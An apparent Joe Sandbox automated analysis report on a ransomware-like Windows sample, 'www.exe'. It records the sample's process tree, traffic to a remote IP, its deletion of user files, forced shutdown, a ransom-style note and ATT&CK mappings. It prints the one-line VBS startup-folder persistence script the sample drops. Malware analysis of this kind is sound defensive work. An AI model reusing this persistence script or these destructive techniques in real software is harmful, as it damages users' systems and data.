Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Windows Analysis Report www.exe

Overview

General Information

Sample Name:www.exe
Analysis ID:543848
MD5:44a6812e4e59737b2f8afcc130a0889a
SHA1:1a83934d8a349222b5869ddb0ad096135a955c27
SHA256:207b5ac6c78b23922be438ba29bce1a4fd73bb5748906c594f13eaa8b597c284
Tags:exe
Infos:

Most interesting Screenshot:

Detection

Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Multi AV Scanner detection for dropped file
Machine Learning detection for sample
Modifies existing user documents (likely ransomware behavior)
Performs an instant shutdown (NtRaiseHardError)
Machine Learning detection for dropped file
Drops VBS files to the startup folder
Uses 32bit PE files
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Stores files to the Windows start menu directory
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
IP address seen in connection with other malware
Creates a DirectInput object (often for capturing keystrokes)
Drops PE files
Tries to load missing DLLs
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

  • System is w10x64
  • www.exe (PID: 7084 cmdline: "C:\Users\user\Desktop\www.exe" MD5: 44A6812E4E59737B2F8AFCC130A0889A)
    • conhost.exe (PID: 7092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 6992 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\neco_arc.png MD5: F3BDBE3BB6F734E357235F4D5898582D)
  • wscript.exe (PID: 6404 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
    • h.exe (PID: 6668 cmdline: "C:\Users\user\AppData\Local\Temp\h.exe" MD5: 44A6812E4E59737B2F8AFCC130A0889A)
      • conhost.exe (PID: 6684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

Data Obfuscation:

barindex
Sigma detected: Drops script at startup locationShow sources
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\www.exe, ProcessId: 7084, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbs

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Multi AV Scanner detection for submitted fileShow sources
Source: www.exeVirustotal: Detection: 32%Perma Link
Source: www.exeReversingLabs: Detection: 20%
Multi AV Scanner detection for dropped fileShow sources
Source: C:\Users\user\AppData\Local\Temp\h.exeReversingLabs: Detection: 20%
Machine Learning detection for sampleShow sources
Source: www.exeJoe Sandbox ML: detected
Machine Learning detection for dropped fileShow sources
Source: C:\Users\user\AppData\Local\Temp\h.exeJoe Sandbox ML: detected
Source: www.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: www.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_002A278D ___std_fs_close_handle@4,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,
Source: C:\Users\user\AppData\Local\Temp\h.exeCode function: 11_2_0085278D ___std_fs_close_handle@4,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: Joe Sandbox ViewIP Address: 52.18.63.80 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: unknownTCP traffic detected without corresponding DNS query: 52.18.63.80
Source: www.exe, h.exe.0.drString found in binary or memory: http://52.18.63.80
Source: h.exe, 0000000B.00000002.351458692.00000000008DA000.00000004.00000020.sdmpString found in binary or memory: http://52.18.63.80fo
Source: www.exe, h.exe.0.drString found in binary or memory: http://52.18.63.80userprofileexplorer.exeinvalid
Source: unknownDNS traffic detected: queries for: canonicalizer.ucsuri.tcs
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_0029FB78 recv,
Source: global trafficHTTP traffic detected: GET /feedback/7n7mx52agvhlo5s204il15i2z/index.html HTTP/1.1Accept: */*Connection: closeHost: 52.18.63.80User-Agent: cpp-httplib/0.9
Source: global trafficHTTP traffic detected: GET /feedback/7n7mx52agvhlo5s204il15i2z/index.html HTTP/1.1Accept: */*Connection: closeHost: 52.18.63.80User-Agent: cpp-httplib/0.9
Source: h.exe, 0000000B.00000002.351458692.00000000008DA000.00000004.00000020.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

barindex
Modifies existing user documents (likely ransomware behavior)Show sources
Source: C:\Users\user\Desktop\www.exeFile deleted: C:\Users\user\Desktop\QNCYCDFIJJ.pdfJump to behavior
Source: C:\Users\user\Desktop\www.exeFile deleted: C:\Users\user\Desktop\QNCYCDFIJJ\QNCYCDFIJJ.docxJump to behavior
Source: C:\Users\user\Desktop\www.exeFile deleted: C:\Users\user\Desktop\QCFWYSKMHA.jpgJump to behavior
Source: C:\Users\user\Desktop\www.exeFile deleted: C:\Users\user\Desktop\QNCYCDFIJJ\EFOYFBOLXA.jpgJump to behavior
Source: C:\Users\user\Desktop\www.exeFile deleted: C:\Users\user\Desktop\BNAGMGSPLO.jpgJump to behavior

System Summary:

barindex
Performs an instant shutdown (NtRaiseHardError)Show sources
Source: C:\Users\user\Desktop\www.exeHard error raised: shutdown
Source: www.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_0029B9DE
Source: C:\Users\user\AppData\Local\Temp\h.exeCode function: 11_2_0084B9DE
Source: C:\Users\user\Desktop\www.exeCode function: String function: 002A3066 appears 84 times
Source: C:\Users\user\Desktop\www.exeCode function: String function: 002A3099 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\h.exeCode function: String function: 00853066 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\h.exeCode function: String function: 00853099 appears 38 times
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_0029D136 LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlAdjustPrivilege,NtRaiseHardError,
Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dll
Source: www.exeVirustotal: Detection: 32%
Source: www.exeReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\www.exeFile read: C:\Users\user\Desktop\www.exeJump to behavior
Source: www.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\www.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Source: unknownProcess created: C:\Users\user\Desktop\www.exe "C:\Users\user\Desktop\www.exe"
Source: C:\Users\user\Desktop\www.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbs"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\Temp\h.exe "C:\Users\user\AppData\Local\Temp\h.exe"
Source: C:\Users\user\AppData\Local\Temp\h.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\www.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\neco_arc.png
Source: C:\Users\user\Desktop\www.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\neco_arc.png
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\Temp\h.exe "C:\Users\user\AppData\Local\Temp\h.exe"
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32
Source: C:\Users\user\Desktop\www.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbsJump to behavior
Source: C:\Users\user\Desktop\www.exeFile created: C:\Users\user\AppData\Local\Temp\h.exeJump to behavior
Source: classification engineClassification label: mal84.rans.expl.winEXE@8/97@10/1
Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_0029EEE4 __EH_prolog3_GS,CreateToolhelp32Snapshot,Process32First,CloseHandle,Process32Next,FindCloseChangeNotification,
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6684:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7092:120:WilError_01
Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbs"
Source: www.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: www.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation:

barindex
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_002A3034 push ecx; ret
Source: C:\Users\user\AppData\Local\Temp\h.exeCode function: 11_2_00853034 push ecx; ret
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_0029D136 LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlAdjustPrivilege,NtRaiseHardError,
Source: C:\Users\user\Desktop\www.exeFile created: C:\Users\user\AppData\Local\Temp\h.exeJump to dropped file

Boot Survival:

barindex
Drops VBS files to the startup folderShow sources
Source: C:\Users\user\Desktop\www.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbsJump to dropped file
Source: C:\Users\user\Desktop\www.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbsJump to behavior
Source: C:\Users\user\Desktop\www.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbsJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Users\user\Desktop\www.exeProcess information queried: ProcessInformation
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_002A278D ___std_fs_close_handle@4,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,
Source: C:\Users\user\AppData\Local\Temp\h.exeCode function: 11_2_0085278D ___std_fs_close_handle@4,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\
Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: wscript.exe, 0000000A.00000002.310548055.000002A7F0724000.00000004.00000020.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}oy
Source: wscript.exe, 0000000A.00000002.310548055.000002A7F0724000.00000004.00000020.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\b8b}\
Source: cmd.exe, 0000000F.00000002.351436373.0000000000913000.00000004.00000020.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}F5
Source: h.exe, 0000000B.00000002.351458692.00000000008DA000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_002A367F IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_0029D136 LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlAdjustPrivilege,NtRaiseHardError,
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_002A37E2 SetUnhandledExceptionFilter,
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_002A384C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_002A367F IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\h.exeCode function: 11_2_008537E2 SetUnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\h.exeCode function: 11_2_0085384C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\h.exeCode function: 11_2_0085367F IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\www.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\neco_arc.png
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\Temp\h.exe "C:\Users\user\AppData\Local\Temp\h.exe"
Source: www.exe, 00000000.00000002.351628170.0000000001400000.00000002.00020000.sdmp, h.exe, 0000000B.00000002.351909555.0000000000FB0000.00000002.00020000.sdmp, cmd.exe, 0000000F.00000002.353123041.0000000003690000.00000002.00020000.sdmpBinary or memory string: Progman
Source: www.exe, 00000000.00000002.351628170.0000000001400000.00000002.00020000.sdmp, h.exe, 0000000B.00000002.351909555.0000000000FB0000.00000002.00020000.sdmp, cmd.exe, 0000000F.00000002.353123041.0000000003690000.00000002.00020000.sdmpBinary or memory string: Progmanlock
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_002A349E cpuid
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Source: C:\Users\user\Desktop\www.exeCode function: 0_2_002A396E GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting111Startup Items1Startup Items1Masquerading1Input Capture1System Time Discovery1Remote ServicesInput Capture1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationData Encrypted for Impact1
Default AccountsNative API1Registry Run Keys / Startup Folder2Process Injection12Process Injection12LSASS MemorySecurity Software Discovery111Remote Desktop ProtocolArchive Collected Data1Exfiltration Over BluetoothIngress Tool Transfer2Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationSystem Shutdown/Reboot1
Domain AccountsAt (Linux)DLL Side-Loading1Registry Run Keys / Startup Folder2Deobfuscate/Decode Files or Information1Security Account ManagerProcess Discovery3SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)DLL Side-Loading1Scripting111NTDSFile and Directory Discovery3Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol2SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptObfuscated Files or Information2LSA SecretsSystem Information Discovery13SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonDLL Side-Loading1Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
www.exe33%VirustotalBrowse
www.exe21%ReversingLabsWin32.Ransomware.Encoder
www.exe100%Joe Sandbox ML

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\h.exe100%Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\h.exe21%ReversingLabsWin32.Ransomware.Encoder

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://52.18.63.801%VirustotalBrowse
http://52.18.63.800%Avira URL Cloudsafe
http://52.18.63.80/feedback/7n7mx52agvhlo5s204il15i2z/index.html1%VirustotalBrowse
http://52.18.63.80/feedback/7n7mx52agvhlo5s204il15i2z/index.html0%Avira URL Cloudsafe
http://52.18.63.80fo0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
canonicalizer.ucsuri.tcs
unknown
unknownfalse
    		unknown

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    http://52.18.63.80/feedback/7n7mx52agvhlo5s204il15i2z/index.htmlfalse
    • 1%, Virustotal, Browse
    • Avira URL Cloud: safe
    		unknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    http://52.18.63.80www.exe, h.exe.0.drfalse
    • 1%, Virustotal, Browse
    • Avira URL Cloud: safe
    		unknown
    http://52.18.63.80foh.exe, 0000000B.00000002.351458692.00000000008DA000.00000004.00000020.sdmpfalse
    • Avira URL Cloud: safe
    		low

    Contacted IPs

    • No. of IPs < 25%
    • 25% < No. of IPs < 50%
    • 50% < No. of IPs < 75%
    • 75% < No. of IPs

    Public

    IPDomainCountryFlagASNASN NameMalicious
    52.18.63.80
    		unknownUnited States
    		16509AMAZON-02USfalse

    General Information

    Joe Sandbox Version:34.0.0 Boulder Opal
    Analysis ID:543848
    Start date:22.12.2021
    Start time:06:32:08
    Joe Sandbox Product:CloudBasic
    Overall analysis duration:0h 6m 13s
    Hypervisor based Inspection enabled:false
    Report type:light
    Sample file name:www.exe
    Cookbook file name:default.jbs
    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
    Number of analysed new started processes analysed:16
    Number of new started drivers analysed:0
    Number of existing processes analysed:0
    Number of existing drivers analysed:0
    Number of injected processes analysed:0
    Technologies:
    • HCA enabled
    • EGA enabled
    • HDC enabled
    • AMSI enabled
    Analysis Mode:default
    Analysis stop reason:
    Detection:MAL
    Classification:mal84.rans.expl.winEXE@8/97@10/1
    EGA Information:Failed
    HDC Information:
    • Successful, ratio: 99.9% (good quality ratio 95%)
    • Quality average: 73%
    • Quality standard deviation: 31.1%
    HCA Information:Failed
    Cookbook Comments:
    • Adjust boot time
    • Enable AMSI
    • Found application associated with file extension: .exe
    Warnings:
    Show All
    • Connection to analysis system has been lost, crash info: Unknown
    • Exclude process from analysis (whitelisted): SgrmBroker.exe, backgroundTaskHost.exe, svchost.exe
    • Excluded IPs from analysis (whitelisted): 23.54.113.104
    • Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com
    • Not all processes where analyzed, report is missing behavior information
    • Report size getting too big, too many NtOpenKeyEx calls found.
    • Report size getting too big, too many NtProtectVirtualMemory calls found.
    • Report size getting too big, too many NtQueryValueKey calls found.

    Simulations

    Behavior and APIs

    TimeTypeDescription
    06:33:01AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbs

    Joe Sandbox View / Context

    IPs

    No context

    Domains

    No context

    ASN

    No context

    JA3 Fingerprints

    No context

    Dropped Files

    No context

    Created / dropped Files

    C:\Users\user\AppData\Local\Temp\eicar.com
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text, with no line terminators
    Category:dropped
    Size (bytes):65
    Entropy (8bit):4.812687959442445
    Encrypted:false
    SSDEEP:3:jJraNvsgzsVqSwHq9:duOgzsko
    MD5:A2DB65F9EFBA6B68F44EFD969DC681E0
    SHA1:C198738319292DCB8ECAE40462F378A858E34FBB
    SHA-256:116AF007C2F18CB8937C5CFF73539B704488E7E813EAD9C36420110F7657B421
    SHA-512:BEE6F0BFDF05B5FFF1EC9BF61FC5E39C15087FA0404E6CEE334BC13F71B8C6268A3E9D12CE1F6242A1A43569FE9AF948C71729F49E0C63299540A9C3193C7DB1
    Malicious:false
    Reputation:low
    Preview: !P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
    C:\Users\user\AppData\Local\Temp\h.exe
    Process:C:\Users\user\Desktop\www.exe
    File Type:PE32 executable (console) Intel 80386, for MS Windows
    Category:dropped
    Size (bytes):214016
    Entropy (8bit):7.367493617151168
    Encrypted:false
    SSDEEP:6144:JFAiqdHAfQpq+t5LqRCPTipr0DelGMWz:JFPGHxA+tlqwipJW
    MD5:44A6812E4E59737B2F8AFCC130A0889A
    SHA1:1A83934D8A349222B5869DDB0AD096135A955C27
    SHA-256:207B5AC6C78B23922BE438BA29BCE1A4FD73BB5748906C594F13EAA8B597C284
    SHA-512:1E548B208A347B1E09C146108C55CFD3A3844DECCA5873194A9AA54EC1DCE09B9469389B37E8AFB674BB5CFE29F55E5AA2F27218E3367E47B3E5D1406F5EAA5A
    Malicious:true
    Antivirus:
    • Antivirus: Joe Sandbox ML, Detection: 100%
    • Antivirus: ReversingLabs, Detection: 21%
    Reputation:low
    Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}................................................g.................Rich............................PE..L...G_.a.................L...........3.......`....@..........................p............@.....................................,............................P.......u.......................v.......u..@............`..|............................text...lK.......L.................. ..`.rdata...k...`...l...P..............@..@.data....u.......r..................@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................................
    C:\Users\user\AppData\Local\Temp\neco_arc.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Reputation:low
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbs
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):103
    Entropy (8bit):4.835602867460544
    Encrypted:false
    SSDEEP:3:jNJmFEm8nmbDQB5OWXp5cViE2J5xAIid+VLjM:jqNqXIWXp+N23f+T
    MD5:3FB7283D334F98DC958CE80435EBF268
    SHA1:03616BEFD407E20CB4B039434E296ABB19D8296D
    SHA-256:B35E0EBB5FF96321954595FC0A23AD02A29B9FDFB28079E4455FB91DE2EE63E4
    SHA-512:4D60DA23A56495402EE26E96304E21EE03014E30D389D3E7B27C234E2586E96EE2AC06113DD57B6754E1AB827101256C529ECB99F4552BE180B9CE1F8AC419AE
    Malicious:true
    Reputation:low
    Preview: Set Shell = CreateObject("WScript.Shell").Shell.Run "C:\Users\user\AppData\Local\Temp\h.exe", 0, False
    C:\Users\user\Desktop\BNAGMGSPLO.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:true
    Reputation:low
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\EEGWXUHVUG.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
